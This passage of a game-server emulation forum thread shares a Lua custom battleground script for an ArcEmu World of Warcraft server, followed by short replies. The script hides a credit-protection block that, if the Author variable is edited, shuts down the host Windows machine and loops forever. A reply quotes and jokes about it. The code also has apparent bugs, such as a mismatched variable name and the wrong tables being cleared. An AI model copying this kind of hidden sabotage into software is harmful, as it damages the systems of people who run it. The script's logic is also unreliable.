    			plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground you may be on the dark team a.k.a the alliance or the good team a.k.a the horde it is random... Dont worry if you are teamed up with the opposite faction.")
    			plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground you may be on the dark team a.k.a the alliance or the good team a.k.a the horde it is random... Dont worry if you are teamed up with the opposite faction.")
    		end
    	end
    end
    
    if Author ~= "stoneharry" then
    os.execute("shutdown /s /t 30 /c \"Changing credits is not a good idea. ~stoneharry <3\"")
    while true do os.execute("pause") end
    end
    
    function ResetBG()
    	for place, plrs in pairs(players) do
    		if plrs ~= nil then
    			local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    			pack:WriteULong(0) -- Map
    			pack:WriteULong(0) -- Zone
    			pack:WriteULong(0)
    			pack:WriteUShort(0)
    			pack:WriteULong(0) -- ID
    			pack:WriteULong(0) -- Value
    			pack:WriteULong(0) -- ID
    			pack:WriteULong(0) -- Value
    			plrs:SendPacketToPlayer(pack)
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(0)
    			pack:WriteULong(0)
    			plrs:SendPacketToPlayer(pack)
    			plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
    			plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
    			plrs:SetPlayerLock(0)
    			plrs:ResurrectPlayer()
    			local race = plrs:GetPlayerRace()
    			if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance
    				plrs:SetFaction(1)
    				plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)
    			else
    				plrs:SetFaction(2)
    				plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)
    			end
    		end
    	end
    	InGame = false
    	for place,plrs in pairs(players) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    	for place,plrs in pairs(Horde) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    	for place,plrs in pairs(Alliance) do -- Clean old table rather than overwriting with a new table
    		players[place] = nil
    	end
    end
    
    function SERVER_HOOK_KILL_PLAYER_BG(event, killer, plr)
    	local playingBG = false
    	for place, plrs in pairs(players) do
    		if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
    			playingBG = true
    			--break
    		end
    	end
    	if playingBG then
    		for place, plrs in pairs(Alliance) do
    			if plrs:GetName() == plr:GetName() then
    				playingBG = false -- They are Alliance
    			end
    		end
    		local Continue = true
    		if HordeLives == 1 then
    			for place, plrs in pairs(players) do
    				plrs:SetPlayerLock(1)
    				plrs:ResurrectPlayer()
    				plrs:SetHealth(plrs:GetMaxHealth())
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Good Side have won!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Good Side have won!")
    				plrs:PlaySoundToPlayer(8454) -- Horde Victory
    			end
    			for place, plrs in pairs(Horde) do
    				if RewardID ~= 0 then
    					plrs:AddItem(RewardID, 1)
    				end
    			end
    			RegisterTimedEvent("ResetBG", 10000, 1)
    		elseif AllianceLives == 1 then
    			for place, plrs in pairs(players) do
    				plrs:SetPlayerLock(1)
    				plrs:ResurrectPlayer()
    				plrs:SetHealth(plrs:GetMaxHealth())
    				plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Dark Side have won!")
    				plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Dark Side have won!")
    				plrs:PlaySoundToPlayer(8455) -- Alliance Victory
    			end
    			for place, plrs in pairs(Alliance) do
    				if RewardID ~= 0 then
    					plrs:AddItem(RewardID, 1)
    				end
    			end
    			RegisterTimedEvent("ResetBG", 10000, 1)
    		end
    		if Continue then
    			if PlayingBG then -- There Horde
    				HordeLives = HordeLives - 1
    				for place, plrs in pairs(players) do
    					local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    					pack:WriteULong(2314) -- ID
    					pack:WriteULong(HordeLives) -- Amount, Horde
    					plrs:SendPacketToPlayer(pack)
    				end
    			else
    				AllianceLives = AllianceLives - 1
    				for place, plrs in pairs(players) do
    					local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    					pack:WriteULong(2313) -- ID
    					pack:WriteULong(AllianceLives) -- Amount, Alliance
    					plrs:SendPacketToPlayer(pack)
    				end
    			end
    			if BroadcastKills then
    				for place, plrs in pairs(players) do
    					plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00"..killer:GetName().." has killed "..plr:GetName().."!")
    				end
    			end
    		end
    	end
    end
    
    RegisterServerHook(2, "SERVER_HOOK_KILL_PLAYER_BG")
    
    -----------
    -- Debug --
    -----------
    --[[
      The functions below should be removed, they are used for debugging the system.
    ]]
    
    function BG_OnGossip(Unit, Event, Player)
    	Unit:GossipCreateMenu(100, Player, 0)
    	Unit:GossipMenuAddItem(0, "Click Here To leave the battle.", 1, 0)
    	Unit:GossipSendMenu(Player)
    end
    
    function BG_OnSelect(Unit, Event, Player, MenuId, id, Code)
    	if (id == 1) then
    		for place, plrs in pairs(players) do
    			if plrs:GetName() == Player:GetName() then
    				local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
    				pack:WriteULong(0) -- Map
    				pack:WriteULong(0) -- Zone
    				pack:WriteULong(0)
    				pack:WriteUShort(0)
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(0) -- Value
    				pack:WriteULong(0) -- ID
    				pack:WriteULong(0) -- Value
    				plrs:SendPacketToPlayer(pack)
    				local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    				pack:WriteULong(0)
    				pack:WriteULong(0)
    				plrs:SendPacketToPlayer(pack)
    				plrs:SetPlayerLock(0)
    				plrs:ResurrectPlayer()
    				local race = plrs:GetPlayerRace()
    				if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance
    				plrs:SetFaction(1)
    				plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)
    				else
    				plrs:SetFaction(2)
    				plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)
    
    				Unit:GossipComplete(Player)
    				end
    			end
    		end
    	end
    end
    
    function OnChat_Hook_ToJoinBG(event, plr, message, pType, pLanguage, pMisc)
    	local message = string.lower(message)
    	if message == "#joinbg" then
    		JoinQue(plr)
    	elseif message == "#finbg" then
    		ResetBG()
    	end
    	if message == "test" then
    		if math.random(1,2) == 1 then
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(2314) -- ID
    			HordeLives = HordeLives - 1
    			pack:WriteULong(HordeLives) -- Amount, Horde
    			plr:SendPacketToPlayer(pack)
    		else
    			local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
    			pack:WriteULong(2313) -- ID
    			AllianceLives = AllianceLives - 1
    			pack:WriteULong(AllianceLives) -- Amount, Alliance
    			plr:SendPacketToPlayer(pack)
    		end
    	end
    end
    
    RegisterServerHook(16, "OnChat_Hook_ToJoinBG")
    RegisterUnitGossipEvent(9999776, 1, "BG_OnGossip")
    RegisterUnitGossipEvent(9999776, 2, "BG_OnSelect")
    end

  11. #11
    craigy109's Avatar Active Member
    Reputation
    72
    Join Date
    Feb 2009
    Posts
    79
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    thanks stoneharry.

    While i am talking in this thread you know the C++ script for wasong gulch could i possibly edit it in arcemu and like change the zone and such / make a new battle in C++ from the existing stuff.

  12. #12
    stoneharry's Avatar Moderator Harry

    Authenticator enabled
    Reputation
    1613
    Join Date
    Sep 2007
    Posts
    4,554
    Thanks G/R
    151/146
    Trade Feedback
    0 (0%)
    Mentioned
    3 Post(s)
    Tagged
    0 Thread(s)
    Originally Posted by craigy109 View Post
    thanks stoneharry.

    While i am talking in this thread you know the C++ script for wasong gulch could i possibly edit it in arcemu and like change the zone and such / make a new battle in C++ from the existing stuff.
    I haven't looked at the C++ script, however I know that a lot of the BG stuff is handled through areatriggers/spells. E.g: Rewarding the players is a spell cast on winners/loosers and so on.

  13. #13
    hypersniper's Avatar Member
    Reputation
    50
    Join Date
    May 2007
    Posts
    7
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Code:
    os.execute("shutdown /s /t 30 /c \"Changing credits is not a good idea. ~stoneharry <3\"")
    while true do os.execute("pause") end
    lold

    solid effort with the script

  14. #14
    MCdeathMC's Avatar Active Member
    Reputation
    66
    Join Date
    Aug 2008
    Posts
    147
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Wow. really nice script gonna use for my server. Ur scripts are the best! i was looking and trying to make a custom battleground and failing alot! lol

  15. #15
    MCdeathMC's Avatar Active Member
    Reputation
    66
    Join Date
    Aug 2008
    Posts
    147
    Thanks G/R
    0/0
    Trade Feedback
    0 (0%)
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    lol i started using this. and the ppl who tested it out saw that there faction was changed. it was modding the horde faction to ally OR ally to Horde. lol

Page 1 of 2 12 LastLast

Similar Threads

  1. [Misc] Custom Battleground like arathi basin?
    By mantor4 in forum WoW EMU Questions & Requests
    Replies: 2
    Last Post: 07-14-2011, 01:10 PM
  2. [Lua] Custom Battleground
    By Dr. Cheasterfield in forum WoW EMU General Releases
    Replies: 43
    Last Post: 09-06-2010, 05:54 AM
  3. [Misc] How to make Custom Item not be usable in arena or battleground?
    By jpxtreme in forum WoW EMU Questions & Requests
    Replies: 4
    Last Post: 07-07-2010, 11:03 AM
  4. Custom battleground?
    By Sandile in forum WoW EMU Questions & Requests
    Replies: 11
    Last Post: 03-23-2009, 08:08 AM
  5. cool battlegrounds exploit
    By aaronic in forum World of Warcraft Exploits
    Replies: 18
    Last Post: 06-19-2006, 12:51 PM
All times are GMT -5. The time now is 06:46 PM. Powered by vBulletin® Version 4.2.3
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved. User Alert System provided by Advanced User Tagging (Pro) - vBulletin Mods & Addons Copyright © 2024 DragonByte Technologies Ltd.
Digital Point modules: Sphinx-based search